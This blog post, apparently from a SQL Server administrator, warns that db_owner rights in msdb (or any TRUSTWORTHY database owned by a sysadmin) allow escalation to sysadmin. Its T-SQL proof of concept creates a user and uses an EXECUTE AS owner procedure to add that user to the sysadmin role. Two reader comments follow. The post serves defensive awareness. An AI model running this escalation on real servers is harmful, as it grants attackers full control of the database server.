May 6, 2019 by Kenneth Fisher
This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.
I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.
CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF;
CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest;
ALTER ROLE db_owner ADD MEMBER ImpersonationTest;
Connect as ImpersonationTest
CREATE PROCEDURE dbo.sysadminMe
WITH EXECUTE AS owner
ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest;
SELECT * FROM sys.login_token;
Category: Microsoft SQL Server, Security, SQLServerPedia Syndication, System Databases
| Tags: Impersonation, Microsoft SQL Server, msdb database, security, system databases
I guess one addition to the best practices check programs out there…check for db_owner on msdb – don’t be too surprised to find this one out there in the wild…who would know about the Agent-Operator-roles in any case…? 😉
[…] I mean I know it’s a system database, but it really feels like a user database at times. Why do I care? Security. If you are granting people access to msdb you need to be extra careful even beyond db_owner. […]